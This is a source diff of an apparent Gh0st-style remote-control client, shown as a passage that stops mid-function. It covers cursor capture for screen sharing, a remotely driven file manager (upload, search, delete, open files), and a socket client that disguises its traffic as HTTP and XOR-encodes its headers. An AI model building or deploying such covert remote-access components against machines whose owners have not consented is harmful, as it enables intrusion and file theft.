//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_DEFAULT 1
|
||||
#define ALGORITHM_H264 2
|
||||
#define ALGORITHM_HOME 3
|
||||
#define ALGORITHM_RGB565 3
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
#define MAX_CURSOR_SIZE 64 // 最大光标尺寸
|
||||
#define CURSOR_THROTTLE_MS 50 // 光标发送节流间隔 (ms)
|
||||
#define CURSOR_INDEX_CUSTOM 254 // -2: 使用自定义光标
|
||||
#define CURSOR_INDEX_UNSUPPORTED 255 // -1: 不支持的光标
|
||||
|
||||
// 自定义光标位图信息
|
||||
struct CursorBitmapInfo {
|
||||
WORD hotspotX;
|
||||
WORD hotspotY;
|
||||
BYTE width;
|
||||
BYTE height;
|
||||
DWORD hash;
|
||||
BYTE bgraData[MAX_CURSOR_SIZE * MAX_CURSOR_SIZE * 4]; // 最大 16KB
|
||||
DWORD dataSize;
|
||||
};
|
||||
|
||||
class CCursorInfo
|
||||
{
|
||||
private:
|
||||
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
|
||||
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
|
||||
|
||||
public:
|
||||
CCursorInfo()
|
||||
{
|
||||
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = {
|
||||
IDC_APPSTARTING,
|
||||
IDC_ARROW,
|
||||
IDC_CROSS,
|
||||
IDC_HAND,
|
||||
IDC_HELP,
|
||||
IDC_IBEAM,
|
||||
IDC_ICON,
|
||||
IDC_NO,
|
||||
IDC_SIZE,
|
||||
IDC_SIZEALL,
|
||||
IDC_SIZENESW,
|
||||
IDC_SIZENS,
|
||||
IDC_SIZENWSE,
|
||||
IDC_SIZEWE,
|
||||
IDC_UPARROW,
|
||||
IDC_WAIT
|
||||
};
|
||||
|
||||
for (int i = 0; i < MAX_CURSOR_TYPE; ++i) {
|
||||
m_CursorResArray[i] = CursorResArray[i];
|
||||
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
|
||||
}
|
||||
}
|
||||
|
||||
int getCurrentCursorIndex() const
|
||||
{
|
||||
CURSORINFO ci;
|
||||
ci.cbSize = sizeof(CURSORINFO);
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; i < MAX_CURSOR_TYPE; ++i) {
|
||||
if (ci.hCursor == m_CursorHandleArray[i])
|
||||
break;
|
||||
}
|
||||
|
||||
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
|
||||
return nIndex;
|
||||
}
|
||||
|
||||
HCURSOR getCursorHandle( int nIndex ) const
|
||||
{
|
||||
return (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) ? m_CursorHandleArray[nIndex] : NULL;
|
||||
}
|
||||
|
||||
// 获取当前光标的位图信息(用于自定义光标)
|
||||
bool getCurrentCursorBitmap(CursorBitmapInfo* info) const
|
||||
{
|
||||
if (!info) return false;
|
||||
|
||||
CURSORINFO ci = { sizeof(CURSORINFO) };
|
||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||
return false;
|
||||
|
||||
ICONINFO iconInfo;
|
||||
if (!GetIconInfo(ci.hCursor, &iconInfo))
|
||||
return false;
|
||||
|
||||
// 获取位图信息
|
||||
BITMAP bm = { 0 };
|
||||
HBITMAP hBmp = iconInfo.hbmColor ? iconInfo.hbmColor : iconInfo.hbmMask;
|
||||
if (!GetObject(hBmp, sizeof(BITMAP), &bm)) {
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 限制尺寸
|
||||
int width = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
|
||||
int height = min((int)bm.bmHeight, MAX_CURSOR_SIZE);
|
||||
|
||||
// 如果是掩码位图(无彩色),高度是实际的两倍
|
||||
if (!iconInfo.hbmColor && bm.bmHeight > bm.bmWidth) {
|
||||
height = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
|
||||
}
|
||||
|
||||
info->hotspotX = (WORD)iconInfo.xHotspot;
|
||||
info->hotspotY = (WORD)iconInfo.yHotspot;
|
||||
info->width = (BYTE)width;
|
||||
info->height = (BYTE)height;
|
||||
info->dataSize = width * height * 4;
|
||||
|
||||
// 创建兼容 DC 和位图来获取 BGRA 数据
|
||||
HDC hScreenDC = GetDC(NULL);
|
||||
if (!hScreenDC) {
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
HDC hMemDC = CreateCompatibleDC(hScreenDC);
|
||||
if (!hMemDC) {
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
return false;
|
||||
}
|
||||
|
||||
BITMAPINFO bmi = { 0 };
|
||||
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
bmi.bmiHeader.biWidth = width;
|
||||
bmi.bmiHeader.biHeight = -height; // 负数表示从上到下
|
||||
bmi.bmiHeader.biPlanes = 1;
|
||||
bmi.bmiHeader.biBitCount = 32;
|
||||
bmi.bmiHeader.biCompression = BI_RGB;
|
||||
|
||||
void* pBits = NULL;
|
||||
HBITMAP hDibBmp = CreateDIBSection(hScreenDC, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
|
||||
|
||||
bool success = false;
|
||||
if (hDibBmp && pBits) {
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hMemDC, hDibBmp);
|
||||
|
||||
// 绘制光标到位图
|
||||
DrawIconEx(hMemDC, 0, 0, ci.hCursor, width, height, 0, NULL, DI_NORMAL);
|
||||
|
||||
// 复制数据
|
||||
memcpy(info->bgraData, pBits, info->dataSize);
|
||||
success = true;
|
||||
|
||||
SelectObject(hMemDC, hOldBmp);
|
||||
DeleteObject(hDibBmp);
|
||||
}
|
||||
|
||||
DeleteDC(hMemDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
|
||||
// 清理
|
||||
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
|
||||
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
|
||||
|
||||
if (!success) return false;
|
||||
|
||||
// 计算哈希
|
||||
info->hash = calculateBitmapHash(info->bgraData, info->dataSize);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// FNV-1a 哈希算法(采样加速)
|
||||
static DWORD calculateBitmapHash(const BYTE* data, DWORD size)
|
||||
{
|
||||
DWORD hash = 2166136261; // FNV offset basis
|
||||
// 每 16 字节采样一次,加速计算
|
||||
for (DWORD i = 0; i < size; i += 16) {
|
||||
hash ^= data[i];
|
||||
hash *= 16777619; // FNV prime
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||
4
client/ExportFunTable.def
Normal file
4
client/ExportFunTable.def
Normal file
@@ -0,0 +1,4 @@
|
||||
EXPORTS
|
||||
TestRun
|
||||
StopRun
|
||||
Run
|
||||
1184
client/FileManager.cpp
Normal file
1184
client/FileManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
65
client/FileManager.h
Normal file
65
client/FileManager.h
Normal file
@@ -0,0 +1,65 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "IOCPClient.h"
|
||||
#include "common.h"
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
std::list <std::string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
|
||||
void CollectFilesRecursiveV2(const std::string& dirPath, const std::string& basePath, std::vector<std::string>& files);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName);
|
||||
void SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime);
|
||||
static DWORD WINAPI SearchThreadProc(LPVOID lpParam);
|
||||
HANDLE m_hSearchThread;
|
||||
volatile bool m_bSearching;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
11
client/IOCPBase.h
Normal file
11
client/IOCPBase.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#include "common/commands.h"
|
||||
|
||||
class IOCPBase
|
||||
{
|
||||
public:
|
||||
virtual BOOL IsRunning() const = 0;
|
||||
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
|
||||
virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0;
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
746
client/IOCPClient.cpp
Normal file
746
client/IOCPClient.cpp
Normal file
@@ -0,0 +1,746 @@
|
||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WS2tcpip.h>
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h> // For struct sockaddr_in
|
||||
#include <unistd.h> // For close()
|
||||
#include <cstring> // For memset()
|
||||
inline int WSAGetLastError()
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
#define USING_COMPRESS 1
|
||||
// 注意:Linux 不启用 USING_CTX,因为 libzstd.a (1.5.6) 与 zstd.h (1.5.7) 版本不匹配
|
||||
// 可能导致 ZSTD_CCtx 结构体 ABI 不兼容,引发堆损坏
|
||||
// 使用无状态 ZSTD_compress/ZSTD_decompress 更安全
|
||||
#endif
|
||||
#include "IOCPClient.h"
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
#include "common/zstd_wrapper.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define Z_FAILED(p) ZSTD_isError(p)
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||
#if USING_CTX
|
||||
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef _WIN32
|
||||
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
{
|
||||
// 启用 TCP 保活选项
|
||||
int enable = 1;
|
||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||
Mprintf("Failed to enable TCP keep-alive\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPINTVL (5秒的重试间隔)
|
||||
int keepAliveInterval = 5; // 5秒
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPINTVL\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 设置 TCP_KEEPCNT (最多5次探测包后认为连接断开)
|
||||
int keepAliveProbes = 5;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
|
||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||
{
|
||||
// 首次构造时打印 ZSTD 版本信息,帮助诊断版本兼容性问题
|
||||
static bool versionLogged = false;
|
||||
if (!versionLogged) {
|
||||
versionLogged = true;
|
||||
unsigned ver = ZSTD_versionNumber();
|
||||
#if USING_CTX
|
||||
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=1\n",
|
||||
ver / 10000, (ver / 100) % 100, ver % 100);
|
||||
#else
|
||||
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=0\n",
|
||||
ver / 10000, (ver / 100) % 100, ver % 100);
|
||||
#endif
|
||||
}
|
||||
|
||||
m_main = main;
|
||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||
m_sLocPublicIP = pubIP;
|
||||
m_ServerAddr = {};
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
#endif
|
||||
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
m_hWorkThread = NULL;
|
||||
m_bWorkThread = S_STOP;
|
||||
|
||||
m_bIsRunning = TRUE;
|
||||
m_bConnected = FALSE;
|
||||
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
m_ReconnectFunc = NULL;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
if (Z_FAILED(n)) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1);
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19);
|
||||
#endif
|
||||
}
|
||||
|
||||
void IOCPClient::SetMultiThreadCompress(int threadNum)
|
||||
{
|
||||
#if USING_CTX
|
||||
BOOL failed = TRUE;
|
||||
if (threadNum > 1) {
|
||||
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
|
||||
}
|
||||
if (failed) {
|
||||
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
IOCPClient::~IOCPClient()
|
||||
{
|
||||
m_bIsRunning = FALSE;
|
||||
Disconnect();
|
||||
|
||||
if (m_hWorkThread!=NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
m_hWorkThread = NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
WSACleanup();
|
||||
#endif
|
||||
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
ZSTD_freeDCtx(m_Dctx);
|
||||
#endif
|
||||
m_masker->Destroy();
|
||||
SAFE_DELETE(m_Encoder);
|
||||
}
|
||||
|
||||
// 从域名获取IP地址
|
||||
std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct sockaddr_in sa = { 0 };
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
return hostName;
|
||||
}
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
if (host == NULL) return "";
|
||||
Mprintf("此域名的IP类型为: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
Mprintf("获取的第%d个IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
#endif
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
#else
|
||||
struct addrinfo hints, * res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET; // IPv4
|
||||
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||
|
||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||
if (status != 0) {
|
||||
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
|
||||
return "";
|
||||
}
|
||||
|
||||
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||
|
||||
Mprintf("IP Address: %s \n", ip);
|
||||
|
||||
freeaddrinfo(res); // 不要忘记释放地址信息
|
||||
return ip;
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5)
|
||||
{
|
||||
// 临时设为非阻塞
|
||||
u_long mode = 1;
|
||||
ioctlsocket(sock, FIONBIO, &mode);
|
||||
|
||||
// 发起连接(非阻塞)
|
||||
int ret = connect(sock, addr, sizeof(*addr));
|
||||
if (ret == SOCKET_ERROR) {
|
||||
int err = WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK && err != WSAEINPROGRESS) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// 等待可写(代表连接完成或失败)
|
||||
fd_set writefds;
|
||||
FD_ZERO(&writefds);
|
||||
FD_SET(sock, &writefds);
|
||||
|
||||
timeval tv;
|
||||
tv.tv_sec = timeout_sec;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
ret = select(0, NULL, &writefds, NULL, &tv);
|
||||
if (ret <= 0 || !FD_ISSET(sock, &writefds)) {
|
||||
return FALSE; // 超时或出错
|
||||
}
|
||||
|
||||
// 检查连接是否真正成功
|
||||
int error = 0;
|
||||
int len = sizeof(error);
|
||||
getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &len);
|
||||
if (error != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 改回阻塞模式
|
||||
mode = 0;
|
||||
ioctlsocket(sock, FIONBIO, &mode);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
m_masker->SetServer(m_sCurIP.c_str());
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层
|
||||
|
||||
if (m_sClientSocket == SOCKET_ERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
|
||||
if (!ConnectWithTimeout(m_sClientSocket,(SOCKADDR *)&m_ServerAddr)) {
|
||||
if (m_sClientSocket!=INVALID_SOCKET) {
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
// 若szServerIP非数字开头,则认为是域名,需进行IP转换
|
||||
// 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6)
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 创建套接字
|
||||
if (m_sClientSocket == -1) {
|
||||
Mprintf("Failed to create socket\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 连接到服务器
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // 标记套接字无效
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
const int chOpt = 1; // True
|
||||
|
||||
// 启用 TCP_NODELAY 禁用 Nagle 算法,减少小包延迟
|
||||
int nodelay = 1;
|
||||
setsockopt(m_sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&nodelay, sizeof(nodelay));
|
||||
|
||||
// 增大发送缓冲区到 256KB
|
||||
int sendBufSize = 256 * 1024;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDBUF, (char*)&sendBufSize, sizeof(sendBufSize));
|
||||
|
||||
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
|
||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||
(char *)&chOpt, sizeof(chOpt)) == 0) {
|
||||
#ifdef _WIN32
|
||||
// 设置超时详细信息
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // 启用保活
|
||||
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
|
||||
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
|
||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||
#else
|
||||
// 设置保活选项
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
||||
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_bIsRunning = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
int ret = pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
if (ret == 0) {
|
||||
m_bWorkThread = S_RUN;
|
||||
m_bIsRunning = TRUE;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
struct timeval tm;
|
||||
CBuffer m_CompressedBuffer;
|
||||
|
||||
while (This->IsRunning()) { // 没有退出,就一直陷在这个循环中
|
||||
if(!This->IsConnected()) {
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
// Linux select() 会修改 timeval,必须每次重置
|
||||
tm.tv_sec = 2;
|
||||
tm.tv_usec = 0;
|
||||
#ifdef _WIN32
|
||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||
#else
|
||||
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||
#endif
|
||||
if (iRet <= 0) {
|
||||
if (iRet == 0) Sleep(50);
|
||||
else {
|
||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
This->Disconnect(); //接收错误处理
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
}
|
||||
} else if (iRet > 0) {
|
||||
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(This->m_hWorkThread);
|
||||
This->m_hWorkThread = NULL;
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
|
||||
return 0xDEAD;
|
||||
}
|
||||
|
||||
bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag)
|
||||
{
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
